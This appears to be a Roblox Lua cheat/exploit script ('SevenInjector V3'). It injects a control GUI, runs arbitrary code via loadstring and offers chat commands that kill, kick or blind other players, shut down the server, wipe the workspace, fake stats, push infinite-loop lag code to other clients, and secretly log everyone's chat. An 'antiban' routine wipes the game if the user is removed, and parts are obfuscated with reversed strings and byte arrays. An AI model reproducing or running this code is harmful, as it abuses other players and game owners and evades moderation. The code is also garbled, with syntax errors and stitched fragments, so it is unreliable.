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CoreGui)
s.ResetOnSpawn = false
PluginGui = Instance.new("TextButton")
PluginGui.Parent = s
PluginGui.Size = UDim2.new(0.1,0,0,25)
PluginGui.Position = UDim2.new(0,0,0.7,0)
PluginGui.Text="SevenInjector V3"
PluginGui.BackgroundTransparency = 0.3
PluginGui.TextColor = BrickColor.new("White")
PluginGui.BackgroundColor = BrickColor.new("Really Black")
PluginGui.BorderColor = BrickColor.new("Black")
PluginGui.Font = "ArialBold"
PluginGui.FontSize = "Size14"
PluginGui.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
PluginGui.TextStrokeTransparency = 0.3
PluginGui.BorderSizePixel = 1
PluginGui.BorderColor = BrickColor.new("White")
PluginGui.MouseButton1Down:connect(function()
local screengui = Instance.new("ScreenGui")'
--screengui.ResetOnSpawn = false
screengui.Parent = game:GetService("CoreGui")
screengui.Name = "CommandBar"
local textlabel = Instance.new("TextLabel")
textlabel.Parent = screengui
textlabel.Name = "Title"
textlabel.Active = true
textlabel.BackgroundColor = BrickColor.new("Really black")
textlabel.BorderSizePixel = 0
textlabel.Draggable = true
textlabel.Font = "ArialBold"
textlabel.FontSize = "Size14"
textlabel.Position = UDim2.new(0.33,0,0.2,0)
textlabel.Size = UDim2.new(0.65,0,0.05,0)
textlabel.Text = "E3X9O1T || By Zathin || Drag This Bar"
textlabel.TextColor3 = Color3.new(255/255,255/255,255/255)
end)
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local textb = Instance.new("TextLabel")
textb.Parent = textlabel
textb.BackgroundColor = BrickColor.new("Really black")
textb.BackgroundTransparency = 0
textb.Position = UDim2.new(0,0,-2,0)
textb.Size = UDim2.new(1,0,1,0)
textb.Text = "Value"
textb.TextColor3 = Color3.new(255/255,255/255,255/255)
textb.TextXAlignment = "Center"
textb.TextYAlignment = "Center"
textb.BorderSizePixel = 0
textb.Font = "ArialBold"
textb.FontSize = "Size14"
textb.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
textb.TextStrokeTransparency = 0.3
local ff = Instance.new("TextButton")
ff.Parent = textbox
ff.Position = UDim2.new(0,0,1.1,0)
ff.Size = UDim2.new(1,0,0.1,0)
ff.BackgroundColor = BrickColor.new("Really black")
ff.Font = "ArialBold"
ff.FontSize = "Size14"
ff.TextColor3 = Color3.new(255/255,255/255,255/255)
ff.BorderSizePixel = 0
ff.Text = "Exit / Hide"
ff.MouseButton1Down:connect(function()
screengui:remove()
end)
local fp = Instance.new("TextButton")
fp.Parent = textbox
fp.Position = UDim2.new(-0.34,0,0.36,0)
fp.Size = UDim2.new(0.1,0,0,25)
fp.BackgroundColor = BrickColor.new("Really black")
fp.Font = "ArialBold"
fp.FontSize = "Size14"
fp.TextColor3 = Color3.new(255/255,255/255,255/255)
fp.BorderSizePixel = 0
fp.Text = "Punish"
fp.MouseButton1Down:connect(function()
muha = game.Players:FindFirstChild(textbxn.Text)
muha.Character.Parent = game.Lighting
end)
b = a[i]:GetChildren()
for i = 1, #b do
if b[i].className == "BodyColors" then
b[i].HeadColor = BrickColor.random()
b[i].LeftArmColor = BrickColor.random()
b[i].LeftLegColor = BrickColor.random()
b[i].RightArmColor = BrickColor.random()
b[i].RightLegColor = BrickColor.random()
b[i].TorsoColor = BrickColor.random()
else
local ty = Instance.new("TextButton")
ty.Parent = textbox
ty.Position = UDim2.new(-0.1,0,0.60,0)
ty.Size = UDim2.new(0.1,0,0,25)
ty.BackgroundColor = BrickColor.new("Really black")
ty.Font = "ArialBold"
ty.FontSize = "Size14"
ty.TextColor3 = Color3.new(255/255,255/255,255/255)
ty.BorderSizePixel = 0
ty.Text = "Building"
ty.MouseButton1Down:connect(function()
local clone = Instance.new("HopperBin")
clone.BinType = "Clone"
clone.Parent = game.Players:FindFirstChild(textbxn.Text).Backpack
local delete = Instance.new("HopperBin")
delete.BinType = "Hammer"
delete.Parent = game.Players:FindFirstChild(textbxn.Text).Backpack
local drag = Instance.new("HopperBin")
drag.BinType = "GameTool"
drag.Parent = game.Players:FindFirstChild(textbxn.Text).Backpack
end)
textbutton.MouseButton1Down:connect(function()
pcall(function()
loadstring(textbox.Text)()
end)
end)
end)
local p=PluginManager()
local cp=p:CreatePlugin()
local t=cp:CreateToolbar("Modded")
local b=t:CreateButton("Modded button","Modz","")
while game.CoreGui:FindFirstChild("Modz")==nil do
local scr=Instance.new("ScreenGui",game.CoreGui)
src.ResetOnSpawn = false
scr.Name="Modz"
local but=Instance.new("TextButton",scr)
but.Name="Infection"
but.FontSize=Enum.FontSize.Size12
but.Size = UDim2.new(0.1,0,0,25)
but.Position = UDim2.new(0,0,0.76,0)
but.BackgroundColor3=BrickColor.new("Really black").Color
but.BackgroundTransparency = 0.3
but.BorderColor3=BrickColor.new("White").Color
but.TextColor3=BrickColor.new("White").Color
but.Text="InfectLobby!"
but.MouseButton1Up:connect(function()
scr:Remove()
local plrs=game.Players:GetPlayers()
for i=1,#plrs do
plrs[i].Character.Humanoid.Health=nil
if plrs[i].PlayerGui then
if plrs[i].PlayerGui:FindFirstChild("Infection#2")==nil then
local show=Instance.new("ScreenGui",game.StarterGui)
show.ResetOnSpawn = false
show.Name="Infection#2"
local but=Instance.new("TextLabel",show)
but.FontSize=Enum.FontSize.Size12
but.Size = UDim2.new(0.5,0,0,25)
but.Position = UDim2.new(0,0,0.76,0)
but.BackgroundColor3=BrickColor.new("Really black").Color
but.BackgroundTransparency = 0
but.BorderColor3=BrickColor.new("White").Color
but.TextColor3=BrickColor.new("White").Color
but.Text="Hacked Lobby By Zathin Hosted By "..game.Players.LocalPlayer.Name
local showw=Instance.new("ScreenGui",game.StarterGui)
showw.ResetOnSpawn
showw.Name="Infection#3"
local butt=Instance.new("TextLabel",showw)
butt.FontSize=Enum.FontSize.Size12
butt.Size = UDim2.new(0.1,0,0,25)
butt.Position = UDim2.new(0,0,0.634,0)
butt.BackgroundColor3=BrickColor.new("Really black").Color
butt.BackgroundTransparency = 0
butt.BorderColor3=BrickColor.new("White").Color
butt.TextColor3=BrickColor.new("White").Color
butt.Text="Join Sad - Eyes"
end
end
end
end)
end
wait(10)
game.Players.LocalPlayer:SetSuperSafeChat(false)
game.Players.LocalPlayer.Chatted:connect(function(msg)
if msg=="godmode" then
local plrs=game.Players:GetPlayers()
for i=1,#plrs do
if plrs[i].Character then
plrs[i].Character.Humanoid.MaxHealth=math.huge
end
end
end
if msg=="ungodmode" then
local plrs=game.Players:GetPlayers()
for i=1,#plrs do
if plrs[i].Character then
plrs[i].Character.Humanoid.MaxHealth=100
end
end
end
if msg=="ff" then
local plrs=game.Players:GetPlayers()
for i=1,#plrs do
if plrs[i].Character then
local ff=Instance.new("ForceField",plrs[i].Character)
end
end
end
if msg=="unff" then
local plrs=game.Players:GetPlayers()
for i=1,#plrs do
if plrs[i].Character then
local ffind=plrs[i].Character:FindFirstChild("ForceField")
if ffind then
ffind:Destroy()
end
end
end
end
if msg=="OBC" then
local plrs=game.Players:GetPlayers()
for i=1,#plrs do
plrs[i]:SetMembershipType(Enum.MembershipType.OutrageousBuildersClub)
end
end
if msg=="SFC" then
local plrs=game.Players:GetPlayers()
for i=1,#plrs do
plrs[i]:SetSuperSafeChat(true)
game.Players.LocalPlayer:SetSuperSafeChat(false)
end
end
if msg=="UNSFC" then
local plrs=game.Players:GetPlayers()
for i=1,#plrs do
plrs[i]:SetSuperSafeChat(false)
end
end
if msg=="run/" then
local cmd=Instance.new("ScreenGui",game.CoreGui)
cmd.ResetOnSpawn = false
cmd.Name="CommandBar"
local tbox=Instance.new("TextBox",cmd)
tbox.FontSize=Enum.FontSize.Size12
tbox.Size=UDim2.new(1,0,0,25)
tbox.BackgroundColor3=BrickColor.new("Really black").Color
tbox.BorderColor3=BrickColor.new("White").Color
tbox.TextColor3=BrickColor.new("White").Color
tbox.Text="Command here! Type code/run when finished!"
end
if msg=="code/run" then
local fndcmd=game.CoreGui:FindFirstChild("CommandBar")
if fndcmd then
pcall(function()
loadstring(fndcmd.TextBox.Text)()
end)
fndcmd:Destroy()
end
end
if string.sub(msg,1,3)=="id/" then
local plr=game.Players.LocalPlayer
plr.CharacterAppearance="http://www.roblox.com/Asset/CharacterFetch.ashx?
userId="..string.sub(msg,4)
plr.Character:BreakJoints()
end
if msg=="no/trace" then
local find=game.StarterGui:FindFirstChild("Infection#2")
if find then
find:Destroy()
local tbag=game.Players:GetPlayers()
for i=1,#tbag do
tbag[i].RobloxLocked=false --Nice try!
tbag[i]:Destroy()
end
else
local tbag=game.Players:GetPlayers()
for i=1,#tbag do
tbag[i].RobloxLocked=false --Nice try!
tbag[i]:Destroy()
end
end
end
if msg=="OMGAGUEST" then
pcall(function() --Added just incase.
local tbag=game.Players:GetPlayers()
for i=1,#tbag do
if (string.sub(tbag[i].Name,1,6) =="Guest ") then
tbag[i].RobloxLocked=false --Nice try!
tbag[i]:Destroy()
end
end
end)
end
if msg=="Hello" then
game.Players.LocalPlayer:SetSuperSafeChat(false)
end
if msg=="clear/ter" then
local grab=game.Workspace:GetChildren()
for i=1,#grab do
if grab[i].className=="Terrain" then
grab[i]:Clear()
end
end
end
if msg=="Hah" then
local scr=Instance.new("ScreenGui",game.StarterGui)
src.ResetOnSpawn = false
scr.Name="TROLOL"
local IL=Instance.new("TextLabel",scr)
IL.BackgroundColor3=BrickColor.new("Really black").Color
IL.BorderColor3=BrickColor.new("White").Color
IL.Position = UDim2.new(0,0,0,0)
IL.Size = UDim2.new(1,0,1,0)
IL.Text="H4XOR BY "..game.Players.LocalPlayer.Name
IL.FontSize="Size48"
IL.BackgroundTransparency=0.7
local trolll=game.Players:GetPlayers()
for i=1,#trolll do
trolll[i].Character:BreakJoints()
end
end
if msg=="troll2" then
local scr=Instance.new("ScreenGui",game.StarterGui)
src.ResetOnSpawn = false
scr.Name="TROLOLO"
local IL=Instance.new("ImageLabel",scr)
IL.BackgroundColor3=BrickColor.new("Really black").Color
IL.BorderColor3=BrickColor.new("White").Color
IL.Image="http://www.roblox.com/asset/?id=45120559" --68964624 45120559
IL.BackgroundTransparency=0.7
IL.Size=UDim2.new(1,0,1,0)
local trolll=game.Players:GetPlayers()
for i=1,#trolll do
trolll[i].Character:BreakJoints()
end
end
if msg=="re/troll" then
local find=game.StarterGui:FindFirstChild("TROLOL")
if find then
find:Destroy()
local trolll=game.Players:GetPlayers()
for i=1,#trolll do
trolll[i].Character:BreakJoints()
end
end
end
if msg=="re/troll2" then
local find=game.StarterGui:FindFirstChild("TROLOLO")
if find then
find:Destroy()
local trolll=game.Players:GetPlayers()
for i=1,#trolll do
trolll[i].Character:BreakJoints()
end
end
end
if msg=="clear/all" then
for i,v in pairs(game.Workspace:GetChildren()) do
if v.className=="Terrain" or v.className=="Camera" then
print ("NOPE")
else
v:Destroy()
end
end
end
if msg=="insert" then
local gui=Instance.new("ScreenGui",game.Players.LocalPlayer.PlayerGui)
gui.ResetOnSpawn = false
local tl=Instance.new("TextLabel",gui)
tl.FontSize=Enum.FontSize.Size12
tl.BackgroundColor3=BrickColor.new("Really black").Color
tl.BorderColor3=BrickColor.new("White").Color
tl.TextColor3=BrickColor.new("White").Color
tl.Position=UDim2.new(0,0,0,100)
tl.Size=UDim2.new(1,0,0,25)
tl.Text='The code is: game:GetObjects("rbxassetid://21001552")
[1].Parent=game.Players.LocalPlayer.Backpack'
wait(120)
gui:Destroy()
end
if string.sub(msg,1,6)=="blind/" then --Idea by bob3374
local fndplr=game.Players:FindFirstChild(string.sub(msg,7))
if fndplr then
local scr=Instance.new("ScreenGui",fndplr.PlayerGui)
scr.ResetOnSpawn = false
scr.Name="BlindGui"
local tl=Instance.new("TextLabel",scr)
tl.Size=UDim2.new(1,0,1,0)
tl.FontSize=Enum.FontSize.Size12
tl.BackgroundColor3=BrickColor.new("White").Color
tl.BorderColor3=BrickColor.new("Really black").Color
tl.TextColor3=BrickColor.new("Really black").Color
tl.Text="You were blinded by "..game.Players.LocalPlayer.Name
end
end
if string.sub(msg,1,8)=="unblind/" then
local fndplr=game.Players:FindFirstChild(string.sub(msg,9))
if fndplr then
local guifnd=fndplr.PlayerGui:FindFirstChild("BlindGui")
if guifnd then
guifnd:Destroy()
end
end
end
if msg=="shutdown" then --Idea by Jatl8 --Note still beta.
game:Shutdown()
end
if msg=="tele" then --Idea by Jatl8 --Note still beta.
local telegui=Instance.new("ScreenGui",game.CoreGui)
telegui.ResetOnSpawn = false
telegui.Name="TeleportGui"
local tl=Instance.new("TextLabel",telegui)
tl.Size=UDim2.new(1,0,0,25)
tl.FontSize=Enum.FontSize.Size12
tl.BackgroundColor3=BrickColor.new("Really black").Color
tl.BorderColor3=BrickColor.new("White").Color
tl.TextColor3=BrickColor.new("White").Color
tl.Text="Teleport to who?"
local tbox=Instance.new("TextBox",telegui)
tbox.Size=UDim2.new(1,0,0,25)
tbox.Position=UDim2.new(0,0,0,25)
tbox.FontSize=Enum.FontSize.Size12
tbox.BackgroundColor3=BrickColor.new("Really black").Color
tbox.BorderColor3=BrickColor.new("White").Color
tbox.TextColor3=BrickColor.new("White").Color
tbox.Text="Name here!"
local tbag=Instance.new("TextButton",telegui)
tbag.Size=UDim2.new(1,0,0,25)
tbag.Position=UDim2.new(0,0,0,50)
tbag.FontSize=Enum.FontSize.Size12
tbag.BackgroundColor3=BrickColor.new("Really black").Color
tbag.BorderColor3=BrickColor.new("White").Color
tbag.TextColor3=BrickColor.new("White").Color
tbag.Text="Teleport!"
tbag.MouseButton1Up:connect(function()
local charfnd=game.Workspace:FindFirstChild(tbox.Text)
if charfnd then
local headfnd=charfnd:FindFirstChild("Head")
if headfnd then
game.Players.LocalPlayer.Character:MoveTo(headfnd.Position)
telegui:Destroy()
end
end
end)
end
if msg=="kill/all" then --Idea by Jatl8
local killplrs=game.Players:GetPlayers()
for i=1,#killplrs do
killplrs[i].Character.Humanoid.Health=nil
end
end
if string.sub(msg,1,8)=="explode/" then --Idea by wendeng
local fndchar=workspace:FindFirstChild(string.sub(msg,9))
if fndchar then
local fndtor=fndchar:FindFirstChild("Torso")
if fndtor then
local ex=Instance.new("Explosion",workspace)
ex.Position=fndtor.Position
ex.BlastPressure=10
ex.BlastRadius=10
wait(1)
ex:Destroy()
end
end
end
if msg=="infect/stats" then
local fndstat=game.Players.LocalPlayer:FindFirstChild("leaderstats")
if fndstat then
local infect=fndstat:GetChildren()
for i=1,#infect do
if infect[i].className=="IntValue" then
infect[i].Value=100000000
end
end
end
end
if msg=="infect/stats/all" then
local scr=Instance.new("ScreenGui",game.StarterGui)
scr.ResetOnSpawn = false
scr.Name="Info"
local tl=Instance.new("TextLabel",scr)
tl.Name=game.Players.LocalPlayer.Name
tl.Size=UDim2.new(1,0,0,25)
tl.Position=UDim2.new(0,0,.76,0)
tl.FontSize=Enum.FontSize.Size14
tl.BackgroundColor3=BrickColor.new("Bright red").Color
tl.BackgroundTransparency=0.7
tl.BorderColor3=BrickColor.new("White").Color
tl.TextColor3=BrickColor.new("White").Color
tl.Text=' Type "infect/me" for a surprise! Powered By The Group Sad - Eyes'
local infectplr=game.Players:GetPlayers()
for i=1,#infectplr do
infectplr[i].Chatted:connect(function(infect)
if infect=="infect/me" then
local fndstat=infectplr[i]:FindFirstChild("leaderstats")
if fndstat then
local infectstat=fndstat:GetChildren()
for a=1,#infectstat do
if infectstat[a].className=="IntValue" then
infectstat[a].Value=10000000
end
end
end
end
end)
end
end
if msg=="un/infect/me" then
local fndgui=game.StarterGui:FindFirstChild("Info")
if fndgui then
fndgui:Destroy()
end
end
end)
Delay(1,function()
FIXSCRIPTS''
end)
local ShowBox=Instance.new'BoolValue'
PlayerLoadtime=7.5
HackerName=nil
Scripts={}
Connects={}
Commands={}
HackedTime=0
chatbool = true
CmdbKey=':'
FocusKey='+'
UnlockKey='?'
LockKey='.'
ExplorerKey=';'
ExproKey=','
GearKey='$'
BuildKey='<'
GodKey='*'
InvisiKey='%'
VisiKey='#'
AdminKey='&'
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
HackerName=game.Players.LocalPlayer.Name
end))
if(AntibanScript)then
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime+.5)
while true and wait() do
if(AntibanScript)then
if
not(game.Players:FindFirstChild(HackerName))then
wait(3.5)
if(AntibanScript)then
function
workspaceRemove(path)
for
_,v in pairs(path:GetChildren())do
coroutine.resume(coroutine.create(function(v)
if(v:IsA("Script"))or(v:IsA("LocalScript"))then
v.Disabled=true
v:remove()
else
v:remove()
end
end),v)
end
end
workspaceRemove(game:GetService('Workspace'))
for e,i in
pairs(game.Players:GetPlayers())do
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=string.sub(msg,4)
ls.Disabled=true
ls.Disabled=false
end
elseif string.sub(msg, 1, 3) == "rs " then
coroutine.resume(coroutine.create(function(msg)
local errored,output =
ypcall(loadstring(msg:sub(4)))
GetError(errored,output)
errored,output = nil
end),msg)
elseif string.sub(msg, 1, 3) == "ls/" then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=string.sub(msg,4)
ls.Disabled=true
ls.Disabled=false
end
elseif string.sub(msg, 1, 3) == "rs/" then
coroutine.resume(coroutine.create(function(msg)
local errored,output =
ypcall(loadstring(msg:sub(4)))
GetError(errored,output)
errored,output = nil
end),msg)
elseif string.sub(msg, 1, 3) == "cs " then
LoadOnClients(FindPlayers(msg:sub(4):match("(%w+)%s")),
msg:sub(4):match("%s(.+)"))
elseif string.sub(msg, 1, 10) == "mediafire " then
LoadOnClients(FindPlayers(msg:sub(11):match("(%w+)%s")),
msg:sub(11):match("%s(.+)"))
elseif string.sub(msg, 1, 4) == "lag " then
LoadOnClients(FindPlayers(msg:sub(4):match("([%w%s]+)/")),
msg:sub(4):match("/(.+)"))
elseif string.sub(msg, 1, 10) == "mediafire/" then
LoadOnClients(FindPlayers(msg:sub(11):match("([%w%s]+)/")),
msg:sub(11):match("/(.+)"))
elseif string.sub(msg, 1, 4) == "lag/" then
LoadOnClients(FindPlayers(msg:sub(5):match("[%w
%s]+")), "script:Destroy() while true do end")
elseif string.sub(msg, 1, 7) == "hitler/" then
LoadOnClients(FindPlayers(msg:sub(8):match("[%w
%s]+")), "script:Destroy() while true do end")
--
elseif string.sub(msg, 1, 1) == "/" then
if string.sub(msg, 2, 4) == "sb" then
chatbool = true
repeat wait(.01)
game.Players.LocalPlayer:SetSuperSafeChat(false)
game.Players:Chat("/sc 2 4")
game.Players:Chat("/sc 2 7 0")
game.Players:Chat("/sc 2 7 4")
until not chatbool
elseif string.sub(msg, 2, 5) == "nsb" then
chatbool = false
elseif string.sub(msg, 2, 7) == "power" then
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=PowerScriptSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 7) == "gaara" then
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=GaaraSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 6) == "nova" then
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=NovaSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 9) == "outgame" then
AntibanScript=false
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=OutGameSource
ls.Disabled=true
ls.Disabled=false
end
end
end
end
end)
end))
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
while wait() do
game.Players.LocalPlayer:SetSuperSafeChat(false)
end
end))
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
if ChatHistory then
coroutine.resume(coroutine.create(function()
CH=Instance.new("Model",game:GetService("SoundService"))
CH.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH2=Instance.new("Model",game:GetService("StarterGui"))
CH2.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH2)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH2)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH3=Instance.new("Model",game:GetService("Teams"))
CH3.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH3)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH3)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH4=Instance.new("Model",game:GetService("Soundscape"))
CH4.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH4)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH4)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end))
end
end))
X=function(f)
return coroutine.resume(coroutine.create(f))
end
PowerScriptSource=[[
dfsp = 5
mfsp = 100
fsp = dfsp
ffreq = 5
mpvalue = 100000000
healthvalue = 100000000
maxdmg = 75
mindmg = 50
critmaxplus = 15
achspi=false
achdsc=false
brkspi=true
brkdsc=true
forcefenabled = true
bena=false
hena=false
dena=false
coroutine.resume(coroutine.create(function() while wait() do if
game.Players.LocalPlayer.Character~=nil then if
game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") then if
game.Players.LocalPlayer.Character.Humanoid.Health ~= 0 then
game.Players.LocalPlayer.Character.Humanoid.MaxHealth = healthvalue wait()
game.Players.LocalPlayer.Character.Humanoid.Health = healthvalue end end end end
end))
if forcefenabled then coroutine.resume(coroutine.create(function() while
wait() do if game.Players.LocalPlayer.Character~=nil then if not
game.Players.LocalPlayer.Character:FindFirstChild("ForceField") then
Instance.new("ForceField",game.Players.LocalPlayer.Character) end end end end)) end
coroutine.resume(coroutine.create(function() while wait() do if
game.Players.LocalPlayer.Character~=nil then function locker(path) for _,v in
pairs(path:GetChildren())do if v:IsA("BasePart") then v.Locked=true end locker(v)
end end locker(game.Players.LocalPlayer.Character) end end end))
AWLFPAWa02cz={106,101,101,112,61,116,114,111,108,101,108,46,69,110,103,105,110,101,
80,46,86,97,108,117,101,32,107,101,101,112,61,116,114,111,108,101,108,46,69,110,103
,105,110,101,66,46,86,97,108,117,101,32,106,105,108,108,61,116,114,111,108,101,108,
46,69,110,103,105,110,101,78,46,86,97,108,117,101}AFKAOKEAG30aXa=""
cw2=coroutine.wrap w=wait wt=0.1 s=script it = Instance.new v3=Vector3.new
c3=Color3.new ud=UDim2.new cf=CFrame.new ca=CFrame.Angles pi=math.pi rd=math.rad
v310 = v3(1/0,1/0,1/0) bc=BrickColor.new ab=math.abs de=math.deg ts=tostring
tn=tonumber ti=table.insert tr=table.remove cw=function(func)
coroutine.resume(coroutine.create(function() func() end)) end
mf=math.floor cr=coroutine.resume cc=coroutine.create sf=string.find
sb=string.sub rn=math.random
asset="http://www.roblox.com/asset/?id=" antisplashdamagesexhack = 150
sr=string.reverse sl=string.lower su=string.upper Serv={}
Serv.is=game:GetService(sr("ecivreStresnI"))
Serv.sg=game:GetService(sr("iuGretratS"))
Serv.sp=game:GetService(sr("kcaPretratS"))
Decs={}
Decs.Sword1 = "rbxasset://fonts/s" .. "word.mesh" Decs.EF1 = "64467174"
Decs.TSkull1="36869975" Decs.Skull1="36869983" Decs.Shield1="60120613"
Decs.Ring="3270017" Decs.Shine="48965808" Decs.Crack="49173398"
Decs.Cloud="1095708" Decs.Spike="1033714" Decs.Rock="1290033" Decs.Crown="20329976"
Decs.Crown2="1323306"
function ft(tablez,item) for i=1,#tablez do if tablez[i] == item then return
i end end return nil end
function ft2(tablez,item) for i=1,#tablez do if tablez[i][1] == item then
return i end end return nil end
function re(par,obj) if type(par) ~= "userdata" or type(obj) ~= "string" then
return nil end if par:findFirstChild(obj) then par[obj]:Remove'' end end
function pa(pa,pn,sh,x,y,z,c,a,tr,re,bc2)
sh = ""..sh
pn= ""..pn
local fp=nil
if sh ~= "Wedge" and sh ~= "CornerWedge" then
fp=it("Part",pa)
fp.Shape=""..sh
fp.formFactor="Custom"
elseif sh == "Wedge" then
fp=it("WedgePart",pa)
fp.formFactor="Custom"
elseif sh == "CornerWedge" then
fp=it("CornerWedgePart",pa)
end fp.Size=v3(x,y,z)
fp.CanCollide=c
fp.Anchored=false
fp.BrickColor=bc(bc2)
fp.Transparency=tr
fp.Reflectance=re
fp.BottomSurface=0
fp.Name=""..pn --fp.FrontSurface="Hinge"
fp.TopSurface=0 fp.Velocity=v3(0,10,0) fp:BreakJoints() return fp end
function clearit(tab) for xx=1,#tab do tab[xx]:Remove'' end end
function weld(pa,p0,p1,x,y,z,a,b,c) local fw=it("Weld",pa) fw.Part0=p0
fw.Part1=p1 fw.C0=cf(x,y,z) *ca(a,b,c) return fw end
function spm(ty,pa,ss) local sp=it("SpecialMesh",pa) sp.MeshType=ty
sp.Scale=v3(ss,ss,ss) end function mbm(pa,sx,sy,sz) local bm=it("BlockMesh",pa)
bm.Scale=v(sx,sy,sz) end
function fd(pa,ob) if pa:findFirstChild(ob) then return pa[ob] else return
nil end end
function ccn(pa,cl) for i,v in pairs(pa:children()) do if
sf(v.className:lower(),cl:lower()) then v:Remove'' end end end
function stick(hit2,hit) local weld=it("Weld") weld.Part0=hit2 weld.Part1=hit
local HitPos=hit2.Position local CJ=cf(HitPos)
local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ
weld.C0=C0 weld.C1=C1 weld.Parent=hit2 end
function stick2(hit2,hit,tostick) local weld=it("Weld") weld.Part0=tostick
weld.Part1=hit2 local HitPos=hit.Position local CJ=cf(HitPos) local
C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C1
weld.C1=C0 weld.Parent=hit2 end
function invis(o) for i,v in pairs(o:children()) do if v:IsA("BasePart") then
v.Transparency=1 end invis(v) end end
function newhats(p,o,o2) for i,v in pairs(p:children()) do if v:IsA("Hat")
then local np=v.Handle:Clone'' np.Transparency=0 np.Mesh.Scale=np.Mesh.Scale*1.1
np.Parent=o np.CFrame=v.Handle.CFrame stick2(np,o2,o) end end end
function ray(Pos, Dir,xxz) local xxz2=c if xxz ~= nil then xxz2=nil end
return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999), xxz2) end
function findclass(prt,cls) clases=0 for i,v in pairs(prt:children()) do if
v.className:lower() == cls:lower() then clases=clases + 1 end end return clases end
function getclass(prt,cls) for i,v in pairs(prt:children()) do if
v.className:lower() == cls:lower() then return v end end return nil end
function fade(prt,incr) cw(function() for i=prt.Transparency,1,incr do
prt.Transparency=i w() end prt:Remove'' end) end
function rtab(tabz,obj) for i=1,#tabz do if tabz[i] == obj then tr(tabz,i)
break end end end
function RandomPlayer(spiz) local torz=spis local torses={} for i,v in
pairs(Serv.kx:children()) do if v ~= Serv.kx.LocalPlayer and v.Character ~= nil and
v.Character:findFirstChild("Torso") then ti(torses,v.Character.Torso) end end if
#torses > 0 then torz=torses[rn(1,#torses)] end return torz end
function FDesDes(ob,str) for i,v in pairs(ob:children()) do if v.Name:lower()
== str:lower() then return true end return FDesDes(v,str) end end
function RandomExplosionColor() colz={"New Yeller","Bright yellow","Neon
orange","Deep orange","Really red","Bright red"} return colz[rn(1,#colz)] end
function findhum(anc) for i,vx in pairs(anc:children()) do if
vx:IsA("Humanoid") then return vx end end return nil end
function Trail(ob,times,waitz,col,thickz,ofz) local oldpos=(ob.CFrame *ofz).p
for i=1,times do local obp=(ob.CFrame *ofz).p local mag=(oldpos - obp).magnitude
local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true
tr.CFrame=cf(oldpos,obp) tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz)
cw(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end
tr:Remove'' end) tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp w(waitz) end end
sTrail={}
function Trail2(lopz,ob,waitz,col,thickz,ofz) cw(function() ti(sTrail,ob)
